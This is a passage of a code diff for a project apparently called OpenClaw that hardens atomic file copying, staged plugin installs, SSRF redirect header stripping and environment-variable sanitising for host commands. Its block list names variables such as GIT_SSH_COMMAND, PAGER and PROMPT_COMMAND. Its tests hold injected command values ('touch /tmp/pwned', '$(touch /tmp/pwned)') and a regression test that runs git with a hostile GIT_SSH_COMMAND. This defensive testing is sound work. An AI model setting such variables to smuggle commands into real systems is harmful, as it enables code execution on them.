`${nextLines.join("\n")}\n`; - fs.writeFileSync(filepath, output, "utf8"); - fs.chmodSync(filepath, 0o600); - - return { path: filepath, updated, created: !raw }; -} diff --git a/src/infra/exec-approvals.ts b/src/infra/exec-approvals.ts index c99eaeef189..787b5dd7cb5 100644 --- a/src/infra/exec-approvals.ts +++ b/src/infra/exec-approvals.ts @@ -11,6 +11,30 @@ export type ExecHost = "sandbox" | "gateway" | "node"; export type ExecSecurity = "deny" | "allowlist" | "full"; export type ExecAsk = "off" | "on-miss" | "always"; +export function normalizeExecHost(value?: string | null): ExecHost | null { + const normalized = value?.trim().toLowerCase(); + if (normalized === "sandbox" || normalized === "gateway" || normalized === "node") { + return normalized; + } + return null; +} + +export function normalizeExecSecurity(value?: string | null): ExecSecurity | null { + const normalized = value?.trim().toLowerCase(); + if (normalized === "deny" || normalized === "allowlist" || normalized === "full") { + return normalized; + } + return null; +} + +export function normalizeExecAsk(value?: string | null): ExecAsk | null { + const normalized = value?.trim().toLowerCase(); + if (normalized === "off" || normalized === "on-miss" || normalized === "always") { + return normalized; + } + return null; +} + export type SystemRunApprovalBinding = { argv: string[]; cwd: string | null; diff --git a/src/infra/fs-safe.test.ts b/src/infra/fs-safe.test.ts index df3b3c82b8f..a8372a86c70 100644 --- a/src/infra/fs-safe.test.ts +++ b/src/infra/fs-safe.test.ts @@ -300,6 +300,66 @@ describe("fs-safe", () => { }, ); + it("does not truncate existing target when atomic copy rename fails", async () => { + const root = await tempDirs.make("openclaw-fs-safe-root-"); + const sourceDir = await tempDirs.make("openclaw-fs-safe-source-"); + const sourcePath = path.join(sourceDir, "in.txt"); + const targetPath = path.join(root, "nested", "copied.txt"); + await fs.mkdir(path.dirname(targetPath), { recursive: true }); + await fs.writeFile(sourcePath, "copy-new"); + await fs.writeFile(targetPath, "copy-existing"); + const renameSpy = vi + .spyOn(fs, "rename") + .mockRejectedValue(Object.assign(new Error("rename blocked"), { code: "EACCES" })); + try { + await expect( + copyFileWithinRoot({ + sourcePath, + rootDir: root, + relativePath: "nested/copied.txt", + }), + ).rejects.toMatchObject({ code: "EACCES" }); + } finally { + renameSpy.mockRestore(); + } + await expect(fs.readFile(targetPath, "utf8")).resolves.toBe("copy-existing"); + }); + + it.runIf(process.platform !== "win32")( + "rejects when a hardlink appears after atomic copy rename", + async () => { + const root = await tempDirs.make("openclaw-fs-safe-root-"); + const sourceDir = await tempDirs.make("openclaw-fs-safe-source-"); + const sourcePath = path.join(sourceDir, "copy-source.txt"); + const targetPath = path.join(root, "nested", "copied.txt"); + const aliasPath = path.join(root, "nested", "alias.txt"); + await fs.mkdir(path.dirname(targetPath), { recursive: true }); + await fs.writeFile(sourcePath, "copy-new"); + await fs.writeFile(targetPath, "copy-existing"); + const realRename = fs.rename.bind(fs); + let linked = false; + const renameSpy = vi.spyOn(fs, "rename").mockImplementation(async (...args) => { + await realRename(...args); + if (!linked) { + linked = true; + await fs.link(String(args[1]), aliasPath); + } + }); + try { + await expect( + copyFileWithinRoot({ + sourcePath, + rootDir: root, + relativePath: "nested/copied.txt", + }), + ).rejects.toMatchObject({ code: "invalid-path" }); + } finally { + renameSpy.mockRestore(); + } + await expect(fs.readFile(aliasPath, "utf8")).resolves.toBe("copy-new"); + }, + ); + it("copies a file within root safely", async () => { const root = await tempDirs.make("openclaw-fs-safe-root-"); const sourceDir = await tempDirs.make("openclaw-fs-safe-source-"); diff --git a/src/infra/fs-safe.ts b/src/infra/fs-safe.ts index e9940c73e7c..3a0f28ddd2c 100644 --- a/src/infra/fs-safe.ts +++ b/src/infra/fs-safe.ts @@ -554,32 +554,67 @@ export async function copyFileWithinRoot(params: { let target: SafeWritableOpenResult | null = null; let sourceClosedByStream = false; - let targetClosedByStream = false; + let targetClosedByUs = false; + let tempHandle: FileHandle | null = null; + let tempPath: string | null = null; + let tempClosedByStream = false; try { target = await openWritableFileWithinRoot({ rootDir: params.rootDir, relativePath: params.relativePath, mkdir: params.mkdir, + truncateExisting: false, }); + const destinationPath = target.openedRealPath; + const targetMode = target.openedStat.mode & 0o777; + await target.handle.close().catch(() => {}); + targetClosedByUs = true; + + tempPath = buildAtomicWriteTempPath(destinationPath); + tempHandle = await fs.open(tempPath, OPEN_WRITE_CREATE_FLAGS, targetMode || 0o600); const sourceStream = source.handle.createReadStream(); - const targetStream = target.handle.createWriteStream(); + const targetStream = tempHandle.createWriteStream(); sourceStream.once("close", () => { sourceClosedByStream = true; }); targetStream.once("close", () => { - targetClosedByStream = true; + tempClosedByStream = true; }); await pipeline(sourceStream, targetStream); + const writtenStat = await fs.stat(tempPath); + if (!tempClosedByStream) { + await tempHandle.close().catch(() => {}); + tempClosedByStream = true; + } + tempHandle = null; + await fs.rename(tempPath, destinationPath); + tempPath = null; + try { + await verifyAtomicWriteResult({ + rootDir: params.rootDir, + targetPath: destinationPath, + expectedStat: writtenStat, + }); + } catch (err) { + emitWriteBoundaryWarning(`post-copy verification failed: ${String(err)}`); + throw err; + } } catch (err) { if (target?.createdForWrite) { await fs.rm(target.openedRealPath, { force: true }).catch(() => {}); } throw err; } finally { + if (tempPath) { + await fs.rm(tempPath, { force: true }).catch(() => {}); + } if (!sourceClosedByStream) { await source.handle.close().catch(() => {}); } - if (target && !targetClosedByStream) { + if (tempHandle && !tempClosedByStream) { + await tempHandle.close().catch(() => {}); + } + if (target && !targetClosedByUs) { await target.handle.close().catch(() => {}); } } diff --git a/src/infra/host-env-security-policy.json b/src/infra/host-env-security-policy.json index 4335bc43183..8b8f3cf3333 100644 --- a/src/infra/host-env-security-policy.json +++ b/src/infra/host-env-security-policy.json @@ -18,6 +18,33 @@ "IFS", "SSLKEYLOGFILE" ], - "blockedOverrideKeys": ["HOME", "ZDOTDIR"], + "blockedOverrideKeys": [ + "HOME", + "ZDOTDIR", + "GIT_SSH_COMMAND", + "GIT_SSH", + "GIT_PROXY_COMMAND", + "GIT_ASKPASS", + "SSH_ASKPASS", + "LESSOPEN", + "LESSCLOSE", + "PAGER", + "MANPAGER", + "GIT_PAGER", + "EDITOR", + "VISUAL", + "FCEDIT", + "SUDO_EDITOR", + "PROMPT_COMMAND", + "HISTFILE", + "PERL5DB", + "PERL5DBCMD", + "OPENSSL_CONF", + "OPENSSL_ENGINES", + "PYTHONSTARTUP", + "WGETRC", + "CURL_HOME" + ], + "blockedOverridePrefixes": ["GIT_CONFIG_", "NPM_CONFIG_"], "blockedPrefixes": ["DYLD_", "LD_", "BASH_FUNC_"] } diff --git a/src/infra/host-env-security.policy-parity.test.ts b/src/infra/host-env-security.policy-parity.test.ts index 49b631d25a4..8ed1990e803 100644 --- a/src/infra/host-env-security.policy-parity.test.ts +++ b/src/infra/host-env-security.policy-parity.test.ts @@ -5,6 +5,7 @@ import { describe, expect, it } from "vitest"; type HostEnvSecurityPolicy = { blockedKeys: string[]; blockedOverrideKeys?: string[]; + blockedOverridePrefixes?: string[]; blockedPrefixes: string[]; }; @@ -40,6 +41,10 @@ describe("host env security policy parity", () => { generatedSource, "static let blockedOverrideKeys", ); + const swiftBlockedOverridePrefixes = parseSwiftStringArray( + generatedSource, + "static let blockedOverridePrefixes", + ); const swiftBlockedPrefixes = parseSwiftStringArray( generatedSource, "static let blockedPrefixes", @@ -47,6 +52,7 @@ describe("host env security policy parity", () => { expect(swiftBlockedKeys).toEqual(policy.blockedKeys); expect(swiftBlockedOverrideKeys).toEqual(policy.blockedOverrideKeys ?? []); + expect(swiftBlockedOverridePrefixes).toEqual(policy.blockedOverridePrefixes ?? []); expect(swiftBlockedPrefixes).toEqual(policy.blockedPrefixes); expect(sanitizerSource).toContain( @@ -55,6 +61,9 @@ describe("host env security policy parity", () => { expect(sanitizerSource).toContain( "private static let blockedOverrideKeys = HostEnvSecurityPolicy.blockedOverrideKeys", ); + expect(sanitizerSource).toContain( + "private static let blockedOverridePrefixes = HostEnvSecurityPolicy.blockedOverridePrefixes", + ); expect(sanitizerSource).toContain( "private static let blockedPrefixes = HostEnvSecurityPolicy.blockedPrefixes", ); diff --git a/src/infra/host-env-security.test.ts b/src/infra/host-env-security.test.ts index e0156077ae2..116006dbbcf 100644 --- a/src/infra/host-env-security.test.ts +++ b/src/infra/host-env-security.test.ts @@ -57,6 +57,10 @@ describe("sanitizeHostExecEnv", () => { HOME: "/tmp/evil-home", ZDOTDIR: "/tmp/evil-zdotdir", BASH_ENV: "/tmp/pwn.sh", + GIT_SSH_COMMAND: "touch /tmp/pwned", + EDITOR: "/tmp/editor", + NPM_CONFIG_USERCONFIG: "/tmp/npmrc", + GIT_CONFIG_GLOBAL: "/tmp/gitconfig", SHELLOPTS: "xtrace", PS4: "$(touch /tmp/pwned)", SAFE: "ok", @@ -65,6 +69,10 @@ describe("sanitizeHostExecEnv", () => { expect(env.PATH).toBe("/usr/bin:/bin"); expect(env.BASH_ENV).toBeUndefined(); + expect(env.GIT_SSH_COMMAND).toBeUndefined(); + expect(env.EDITOR).toBeUndefined(); + expect(env.NPM_CONFIG_USERCONFIG).toBeUndefined(); + expect(env.GIT_CONFIG_GLOBAL).toBeUndefined(); expect(env.SHELLOPTS).toBeUndefined(); expect(env.PS4).toBeUndefined(); expect(env.SAFE).toBe("ok"); @@ -110,6 +118,10 @@ describe("isDangerousHostEnvOverrideVarName", () => { it("matches override-only blocked keys case-insensitively", () => { expect(isDangerousHostEnvOverrideVarName("HOME")).toBe(true); expect(isDangerousHostEnvOverrideVarName("zdotdir")).toBe(true); + expect(isDangerousHostEnvOverrideVarName("GIT_SSH_COMMAND")).toBe(true); + expect(isDangerousHostEnvOverrideVarName("editor")).toBe(true); + expect(isDangerousHostEnvOverrideVarName("NPM_CONFIG_USERCONFIG")).toBe(true); + expect(isDangerousHostEnvOverrideVarName("git_config_global")).toBe(true); expect(isDangerousHostEnvOverrideVarName("BASH_ENV")).toBe(false); expect(isDangerousHostEnvOverrideVarName("FOO")).toBe(false); }); @@ -192,3 +204,58 @@ describe("shell wrapper exploit regression", () => { expect(fs.existsSync(marker)).toBe(false); }); }); + +describe("git env exploit regression", () => { + it("blocks GIT_SSH_COMMAND override so git cannot execute helper payloads", async () => { + if (process.platform === "win32") { + return; + } + const gitPath = "/usr/bin/git"; + if (!fs.existsSync(gitPath)) { + return; + } + + const marker = path.join(os.tmpdir(), `openclaw-git-ssh-command-${process.pid}-${Date.now()}`); + try { + fs.unlinkSync(marker); + } catch { + // no-op + } + + const target = "ssh://127.0.0.1:1/does-not-matter"; + const exploitValue = `touch ${JSON.stringify(marker)}; false`; + const baseEnv = { + PATH: process.env.PATH ?? "/usr/bin:/bin", + GIT_TERMINAL_PROMPT: "0", + }; + + const unsafeEnv = { + ...baseEnv, + GIT_SSH_COMMAND: exploitValue, + }; + + await new Promise((resolve) => { + const child = spawn(gitPath, ["ls-remote", target], { env: unsafeEnv, stdio: "ignore" }); + child.once("error", () => resolve()); + child.once("close", () => resolve()); + }); + + expect(fs.existsSync(marker)).toBe(true); + fs.unlinkSync(marker); + + const safeEnv = sanitizeHostExecEnv({ + baseEnv, + overrides: { + GIT_SSH_COMMAND: exploitValue, + }, + }); + + await new Promise((resolve) => { + const child = spawn(gitPath, ["ls-remote", target], { env: safeEnv, stdio: "ignore" }); + child.once("error", () => resolve()); + child.once("close", () => resolve()); + }); + + expect(fs.existsSync(marker)).toBe(false); + }); +}); diff --git a/src/infra/host-env-security.ts b/src/infra/host-env-security.ts index 79ccd1f0a7a..56b30bd0818 100644 --- a/src/infra/host-env-security.ts +++ b/src/infra/host-env-security.ts @@ -5,6 +5,7 @@ const PORTABLE_ENV_VAR_KEY = /^[A-Za-z_][A-Za-z0-9_]*$/; type HostEnvSecurityPolicy = { blockedKeys: string[]; blockedOverrideKeys?: string[]; + blockedOverridePrefixes?: string[]; blockedPrefixes: string[]; }; @@ -19,6 +20,9 @@ export const HOST_DANGEROUS_ENV_PREFIXES: readonly string[] = Object.freeze( export const HOST_DANGEROUS_OVERRIDE_ENV_KEY_VALUES: readonly string[] = Object.freeze( (HOST_ENV_SECURITY_POLICY.blockedOverrideKeys ?? []).map((key) => key.toUpperCase()), ); +export const HOST_DANGEROUS_OVERRIDE_ENV_PREFIXES: readonly string[] = Object.freeze( + (HOST_ENV_SECURITY_POLICY.blockedOverridePrefixes ?? []).map((prefix) => prefix.toUpperCase()), +); export const HOST_SHELL_WRAPPER_ALLOWED_OVERRIDE_ENV_KEY_VALUES: readonly string[] = Object.freeze([ "TERM", "LANG", @@ -68,7 +72,11 @@ export function isDangerousHostEnvOverrideVarName(rawKey: string): boolean { if (!key) { return false; } - return HOST_DANGEROUS_OVERRIDE_ENV_KEYS.has(key.toUpperCase()); + const upper = key.toUpperCase(); + if (HOST_DANGEROUS_OVERRIDE_ENV_KEYS.has(upper)) { + return true; + } + return HOST_DANGEROUS_OVERRIDE_ENV_PREFIXES.some((prefix) => upper.startsWith(prefix)); } export function sanitizeHostExecEnv(params?: { diff --git a/src/infra/install-package-dir.test.ts b/src/infra/install-package-dir.test.ts new file mode 100644 index 00000000000..1386f6074fa --- /dev/null +++ b/src/infra/install-package-dir.test.ts @@ -0,0 +1,266 @@ +import fsSync from "node:fs"; +import fs from "node:fs/promises"; +import os from "node:os"; +import path from "node:path"; +import { afterEach, describe, expect, it, vi } from "vitest"; +import { installPackageDir } from "./install-package-dir.js"; + +async function listMatchingDirs(root: string, prefix: string): Promise { + const entries = await fs.readdir(root, { withFileTypes: true }); + return entries + .filter((entry) => entry.isDirectory() && entry.name.startsWith(prefix)) + .map((entry) => entry.name); +} + +function normalizeDarwinTmpPath(filePath: string): string { + return process.platform === "darwin" && filePath.startsWith("/private/var/") + ? filePath.slice("/private".length) + : filePath; +} + +function normalizeComparablePath(filePath: string): string { + const resolved = normalizeDarwinTmpPath(path.resolve(filePath)); + const parent = normalizeDarwinTmpPath(path.dirname(resolved)); + let comparableParent = parent; + try { + comparableParent = normalizeDarwinTmpPath(fsSync.realpathSync.native(parent)); + } catch { + comparableParent = parent; + } + const basename = + process.platform === "win32" ? path.basename(resolved).toLowerCase() : path.basename(resolved); + return path.join(comparableParent, basename); +} + +async function rebindInstallBasePath(params: { + installBaseDir: string; + preservedDir: string; + outsideTarget: string; +}): Promise { + await fs.rename(params.installBaseDir, params.preservedDir); + await fs.symlink( + params.outsideTarget, + params.installBaseDir, + process.platform === "win32" ? "junction" : undefined, + ); +} + +async function withInstallBaseReboundOnRealpathCall(params: { + installBaseDir: string; + preservedDir: string; + outsideTarget: string; + rebindAtCall: number; + run: () => Promise; +}): Promise { + const installBasePath = normalizeComparablePath(params.installBaseDir); + const realRealpath = fs.realpath.bind(fs); + let installBaseRealpathCalls = 0; + const realpathSpy = vi + .spyOn(fs, "realpath") + .mockImplementation(async (...args: Parameters) => { + const filePath = normalizeComparablePath(String(args[0])); + if (filePath === installBasePath) { + installBaseRealpathCalls += 1; + if (installBaseRealpathCalls === params.rebindAtCall) { + await rebindInstallBasePath({ + installBaseDir: params.installBaseDir, + preservedDir: params.preservedDir, + outsideTarget: params.outsideTarget, + }); + } + } + return await realRealpath(...args); + }); + try { + return await params.run(); + } finally { + realpathSpy.mockRestore(); + } +} + +describe("installPackageDir", () => { + let fixtureRoot = ""; + + afterEach(async () => { + vi.restoreAllMocks(); + if (fixtureRoot) { + await fs.rm(fixtureRoot, { recursive: true, force: true }); + fixtureRoot = ""; + } + }); + + it("keeps the existing install in place when staged validation fails", async () => { + fixtureRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-package-dir-")); + const installBaseDir = path.join(fixtureRoot, "plugins"); + const sourceDir = path.join(fixtureRoot, "source"); + const targetDir = path.join(installBaseDir, "demo"); + await fs.mkdir(sourceDir, { recursive: true }); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(path.join(sourceDir, "marker.txt"), "new"); + await fs.writeFile(path.join(targetDir, "marker.txt"), "old"); + + const result = await installPackageDir({ + sourceDir, + targetDir, + mode: "update", + timeoutMs: 1_000, + copyErrorPrefix: "failed to copy plugin", + hasDeps: false, + depsLogMessage: "Installing deps…", + afterCopy: async (installedDir) => { + expect(installedDir).not.toBe(targetDir); + await expect(fs.readFile(path.join(installedDir, "marker.txt"), "utf8")).resolves.toBe( + "new", + ); + throw new Error("validation boom"); + }, + }); + + expect(result).toEqual({ + ok: false, + error: "post-copy validation failed: Error: validation boom", + }); + await expect(fs.readFile(path.join(targetDir, "marker.txt"), "utf8")).resolves.toBe("old"); + await expect( + listMatchingDirs(installBaseDir, ".openclaw-install-stage-"), + ).resolves.toHaveLength(0); + await expect( + listMatchingDirs(installBaseDir, ".openclaw-install-backups"), + ).resolves.toHaveLength(0); + }); + + it("restores the original install if publish rename fails", async () => { + fixtureRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-package-dir-")); + const installBaseDir = path.join(fixtureRoot, "plugins"); + const sourceDir = path.join(fixtureRoot, "source"); + const targetDir = path.join(installBaseDir, "demo"); + await fs.mkdir(sourceDir, { recursive: true }); + await fs.mkdir(targetDir, { recursive: true }); + await fs.writeFile(path.join(sourceDir, "marker.txt"), "new"); + await fs.writeFile(path.join(targetDir, "marker.txt"), "old"); + + const realRename = fs.rename.bind(fs); + let renameCalls = 0; + vi.spyOn(fs, "rename").mockImplementation(async (...args: Parameters) => { + renameCalls += 1; + if (renameCalls === 2) { + throw new Error("publish boom"); + } + return await realRename(...args); + }); + + const result = await installPackageDir({ + sourceDir, + targetDir, + mode: "update", + timeoutMs: 1_000, + copyErrorPrefix: "failed to copy plugin", + hasDeps: false, + depsLogMessage: "Installing deps…", + }); + + expect(result).toEqual({ + ok: false, + error: "failed to copy plugin: Error: publish boom", + }); + await expect(fs.readFile(path.join(targetDir, "marker.txt"), "utf8")).resolves.toBe("old"); + await expect( + listMatchingDirs(installBaseDir, ".openclaw-install-stage-"), + ).resolves.toHaveLength(0); + const backupRoot = path.join(installBaseDir, ".openclaw-install-backups"); + await expect(fs.readdir(backupRoot)).resolves.toHaveLength(0); + }); + + it("aborts without outside writes when the install base is rebound before publish", async () => { + fixtureRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-package-dir-")); + const sourceDir = path.join(fixtureRoot, "source"); + const installBaseDir = path.join(fixtureRoot, "plugins"); + const preservedInstallRoot = path.join(fixtureRoot, "plugins-preserved"); + const outsideInstallRoot = path.join(fixtureRoot, "outside-plugins"); + const targetDir = path.join(installBaseDir, "demo"); + await fs.mkdir(sourceDir, { recursive: true }); + await fs.mkdir(installBaseDir, { recursive: true }); + await fs.mkdir(outsideInstallRoot, { recursive: true }); + await fs.writeFile(path.join(sourceDir, "marker.txt"), "new"); + + const warnings: string[] = []; + await withInstallBaseReboundOnRealpathCall({ + installBaseDir, + preservedDir: preservedInstallRoot, + outsideTarget: outsideInstallRoot, + rebindAtCall: 3, + run: async () => { + await expect( + installPackageDir({ + sourceDir, + targetDir, + mode: "install", + timeoutMs: 1_000, + copyErrorPrefix: "failed to copy plugin", + hasDeps: false, + depsLogMessage: "Installing deps…", + logger: { warn: (message) => warnings.push(message) }, + }), + ).resolves.toEqual({ + ok: false, + error: "failed to copy plugin: Error: install base directory changed during install", + }); + }, + }); + + await expect( + fs.stat(path.join(outsideInstallRoot, "demo", "marker.txt")), + ).rejects.toMatchObject({ + code: "ENOENT", + }); + expect(warnings).toContain( + "Install base directory changed during install; aborting staged publish.", + ); + }); + + it("warns and leaves the backup in place when the install base changes before backup cleanup", async () => { + fixtureRoot = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-install-package-dir-")); + const sourceDir = path.join(fixtureRoot, "source"); + const installBaseDir = path.join(fixtureRoot, "plugins"); + const preservedInstallRoot = path.join(fixtureRoot, "plugins-preserved"); + const outsideInstallRoot = path.join(fixtureRoot, "outside-plugins"); + const targetDir = path.join(installBaseDir, "demo"); + await fs.mkdir(sourceDir, { recursive: true }); + await fs.mkdir(installBaseDir, { recursive: true }); + await fs.mkdir(outsideInstallRoot, { recursive: true }); + await fs.mkdir(path.join(installBaseDir, "demo"), { recursive: true }); + await fs.writeFile(path.join(installBaseDir, "demo", "marker.txt"), "old"); + await fs.writeFile(path.join(sourceDir, "marker.txt"), "new"); + + const warnings: string[] = []; + const result = await withInstallBaseReboundOnRealpathCall({ + installBaseDir, + preservedDir: preservedInstallRoot, + outsideTarget: outsideInstallRoot, + rebindAtCall: 7, + run: async () => + await installPackageDir({ + sourceDir, + targetDir, + mode: "update", + timeoutMs: 1_000, + copyErrorPrefix: "failed to copy plugin", + hasDeps: false, + depsLogMessage: "Installing deps…", + logger: { warn: (message) => warnings.push(message) }, + }), + }); + + expect(result).toEqual({ ok: true }); + expect(warnings).toContain( + "Install base directory changed before backup cleanup; leaving backup in place.", + ); + await expect( + fs.stat(path.join(outsideInstallRoot, "demo", "marker.txt")), + ).rejects.toMatchObject({ + code: "ENOENT", + }); + const backupRoot = path.join(preservedInstallRoot, ".openclaw-install-backups"); + await expect(fs.readdir(backupRoot)).resolves.toHaveLength(1); + }); +}); diff --git a/src/infra/install-package-dir.ts b/src/infra/install-package-dir.ts index 5c5527000cf..17878599160 100644 --- a/src/infra/install-package-dir.ts +++ b/src/infra/install-package-dir.ts @@ -4,6 +4,12 @@ import { runCommandWithTimeout } from "../process/exec.js"; import { fileExists } from "./archive.js"; import { assertCanonicalPathWithinBase } from "./install-safe-path.js"; +const INSTALL_BASE_CHANGED_ERROR_MESSAGE = "install base directory changed during install"; +const INSTALL_BASE_CHANGED_ABORT_WARNING = + "Install base directory changed during install; aborting staged publish."; +const INSTALL_BASE_CHANGED_BACKUP_WARNING = + "Install base directory changed before backup cleanup; leaving backup in place."; + function isObjectRecord(value: unknown): value is Record { return Boolean(value) && typeof value === "object" && !Array.isArray(value); } @@ -62,16 +68,64 @@ async function assertInstallBoundaryPaths(params: { } } +function isRelativePathInsideBase(relativePath: string): boolean { + return ( + Boolean(relativePath) && relativePath !== ".." && !relativePath.startsWith(`..${path.sep}`) + ); +} + +function isInstallBaseChangedError(error: unknown): boolean { + return error instanceof Error && error.message === INSTALL_BASE_CHANGED_ERROR_MESSAGE; +} + +async function assertInstallBaseStable(params: { + installBaseDir: string; + expectedRealPath: string; +}): Promise { + const baseLstat = await fs.lstat(params.installBaseDir); + if (!baseLstat.isDirectory() || baseLstat.isSymbolicLink()) { + throw new Error(INSTALL_BASE_CHANGED_ERROR_MESSAGE); + } + const currentRealPath = await fs.realpath(params.installBaseDir); + if (currentRealPath !== params.expectedRealPath) { + throw new Error(INSTALL_BASE_CHANGED_ERROR_MESSAGE); + } +} + +async function cleanupInstallTempDir(dirPath: string | null): Promise { + if (!dirPath) { + return; + } + await fs.rm(dirPath, { recursive: true, force: true }).catch(() => undefined); +} + +async function resolveInstallPublishTarget(params: { + installBaseDir: string; + targetDir: string; +}): Promise<{ installBaseRealPath: string; canonicalTargetDir: string }> { + const installBaseResolved = path.resolve(params.installBaseDir); + const targetResolved = path.resolve(params.targetDir); + const targetRelativePath = path.relative(installBaseResolved, targetResolved); + if (!isRelativePathInsideBase(targetRelativePath)) { + throw new Error("invalid install target path"); + } + const installBaseRealPath = await fs.realpath(params.installBaseDir); + return { + installBaseRealPath, + canonicalTargetDir: path.join(installBaseRealPath, targetRelativePath), + }; +} + export async function installPackageDir(params: { sourceDir: string; targetDir: string; mode: "install" | "update"; timeoutMs: number; - logger?: { info?: (message: string) => void }; + logger?: { info?: (message: string) => void; warn?: (message: string) => void }; copyErrorPrefix: string; hasDeps: boolean; depsLogMessage: string; - afterCopy?: () => void | Promise; + afterCopy?: (installedDir: string) => void | Promise; }): Promise<{ ok: true } | { ok: false; error: string }> { params.logger?.info?.(`Installing to ${params.targetDir}…`); const installBaseDir = path.dirname(params.targetDir); @@ -80,70 +134,121 @@ export async function installPackageDir(params: { installBaseDir, candidatePaths: [params.targetDir], }); - let backupDir: string | null = null; - if (params.mode === "update" && (await fileExists(params.targetDir))) { - const backupRoot = path.join(path.dirname(params.targetDir), ".openclaw-install-backups"); - backupDir = path.join(backupRoot, `${path.basename(params.targetDir)}-${Date.now()}`); - await fs.mkdir(backupRoot, { recursive: true }); - await assertInstallBoundaryPaths({ + let installBaseRealPath: string; + let canonicalTargetDir: string; + try { + ({ installBaseRealPath, canonicalTargetDir } = await resolveInstallPublishTarget({ installBaseDir, - candidatePaths: [backupDir], - }); - await fs.rename(params.targetDir, backupDir); + targetDir: params.targetDir, + })); + } catch (err) { + return { ok: false, error: `${params.copyErrorPrefix}: ${String(err)}` }; } - const rollback = async () => { + let stageDir: string | null = null; + let backupDir: string | null = null; + const fail = async (error: string, cause?: unknown) => { + const installBaseChanged = isInstallBaseChangedError(cause); + if (installBaseChanged) { + params.logger?.warn?.(INSTALL_BASE_CHANGED_ABORT_WARNING); + } else { + await restoreBackup(); + if (stageDir) { + await cleanupInstallTempDir(stageDir); + stageDir = null; + } + } + return { ok: false as const, error }; + }; + const restoreBackup = async () => { if (!backupDir) { return; } - await assertInstallBoundaryPaths({ - installBaseDir, - candidatePaths: [params.targetDir, backupDir], - }); - await fs.rm(params.targetDir, { recursive: true, force: true }).catch(() => undefined); - await fs.rename(backupDir, params.targetDir).catch(() => undefined); + await fs.rename(backupDir, canonicalTargetDir).catch(() => undefined); + backupDir = null; }; try { await assertInstallBoundaryPaths({ - installBaseDir, - candidatePaths: [params.targetDir], + installBaseDir: installBaseRealPath, + candidatePaths: [canonicalTargetDir], }); - await fs.cp(params.sourceDir, params.targetDir, { recursive: true }); + stageDir = await fs.mkdtemp(path.join(installBaseRealPath, ".openclaw-install-stage-")); + await fs.cp(params.sourceDir, stageDir, { recursive: true }); } catch (err) { - await rollback(); - return { ok: false, error: `${params.copyErrorPrefix}: ${String(err)}` }; + return await fail(`${params.copyErrorPrefix}: ${String(err)}`, err); } try { - await params.afterCopy?.(); + await params.afterCopy?.(stageDir); } catch (err) { - await rollback(); - return { ok: false, error: `post-copy validation failed: ${String(err)}` }; + return await fail(`post-copy validation failed: ${String(err)}`, err); } if (params.hasDeps) { - await sanitizeManifestForNpmInstall(params.targetDir); + await sanitizeManifestForNpmInstall(stageDir); params.logger?.info?.(params.depsLogMessage); const npmRes = await runCommandWithTimeout( ["npm", "install", "--omit=dev", "--omit=peer", "--silent", "--ignore-scripts"], { timeoutMs: Math.max(params.timeoutMs, 300_000), - cwd: params.targetDir, + cwd: stageDir, }, ); if (npmRes.code !== 0) { - await rollback(); - return { - ok: false, - error: `npm install failed: ${npmRes.stderr.trim() || npmRes.stdout.trim()}`, - }; + return await fail(`npm install failed: ${npmRes.stderr.trim() || npmRes.stdout.trim()}`); } } + if (params.mode === "update" && (await fileExists(canonicalTargetDir))) { + const backupRoot = path.join(installBaseRealPath, ".openclaw-install-backups"); + backupDir = path.join(backupRoot, `${path.basename(canonicalTargetDir)}-${Date.now()}`); + try { + await fs.mkdir(backupRoot, { recursive: true }); + await assertInstallBoundaryPaths({ + installBaseDir: installBaseRealPath, + candidatePaths: [backupDir], + }); + await assertInstallBaseStable({ + installBaseDir, + expectedRealPath: installBaseRealPath, + }); + await fs.rename(canonicalTargetDir, backupDir); + } catch (err) { + return await fail(`${params.copyErrorPrefix}: ${String(err)}`, err); + } + } + + try { + await assertInstallBaseStable({ + installBaseDir, + expectedRealPath: installBaseRealPath, + }); + await fs.rename(stageDir, canonicalTargetDir); + stageDir = null; + } catch (err) { + return await fail(`${params.copyErrorPrefix}: ${String(err)}`, err); + } + + if (backupDir) { + try { + await assertInstallBaseStable({ + installBaseDir, + expectedRealPath: installBaseRealPath, + }); + } catch (err) { + if (isInstallBaseChangedError(err)) { + params.logger?.warn?.(INSTALL_BASE_CHANGED_BACKUP_WARNING); + } + backupDir = null; + } + } if (backupDir) { await fs.rm(backupDir, { recursive: true, force: true }).catch(() => undefined); } + if (stageDir) { + await cleanupInstallTempDir(stageDir); + } return { ok: true }; } @@ -153,11 +258,11 @@ export async function installPackageDirWithManifestDeps(params: { targetDir: string; mode: "install" | "update"; timeoutMs: number; - logger?: { info?: (message: string) => void }; + logger?: { info?: (message: string) => void; warn?: (message: string) => void }; copyErrorPrefix: string; depsLogMessage: string; manifestDependencies?: Record; - afterCopy?: () => void | Promise; + afterCopy?: (installedDir: string) => void | Promise; }): Promise<{ ok: true } | { ok: false; error: string }> { return installPackageDir({ ...params, diff --git a/src/infra/net/fetch-guard.ssrf.test.ts b/src/infra/net/fetch-guard.ssrf.test.ts index 4e6410c4b36..1817cc7e7d6 100644 --- a/src/infra/net/fetch-guard.ssrf.test.ts +++ b/src/infra/net/fetch-guard.ssrf.test.ts @@ -15,6 +15,20 @@ function okResponse(body = "ok"): Response { describe("fetchWithSsrFGuard hardening", () => { type LookupFn = NonNullable[0]["lookupFn"]>; + const CROSS_ORIGIN_REDIRECT_STRIPPED_HEADERS = [ + "authorization", + "proxy-authorization", + "cookie", + "cookie2", + "x-api-key", + "private-token", + "x-trace", + ] as const; + const CROSS_ORIGIN_REDIRECT_PRESERVED_HEADERS = [ + ["accept", "application/json"], + ["content-type", "application/json"], + ["user-agent", "OpenClaw-Test/1.0"], + ] as const; const createPublicLookup = (): LookupFn => vi.fn(async () => [{ address: "93.184.216.34", family: 4 }]) as unknown as LookupFn; @@ -154,17 +168,23 @@ describe("fetchWithSsrFGuard hardening", () => { "Proxy-Authorization": "Basic c2VjcmV0", Cookie: "session=abc", Cookie2: "legacy=1", + "X-Api-Key": "custom-secret", + "Private-Token": "private-secret", "X-Trace": "1", + Accept: "application/json", + "Content-Type": "application/json", + "User-Agent": "OpenClaw-Test/1.0", }, }, }); const headers = getSecondRequestHeaders(fetchImpl); - expect(headers.get("authorization")).toBeNull(); - expect(headers.get("proxy-authorization")).toBeNull(); - expect(headers.get("cookie")).toBeNull(); - 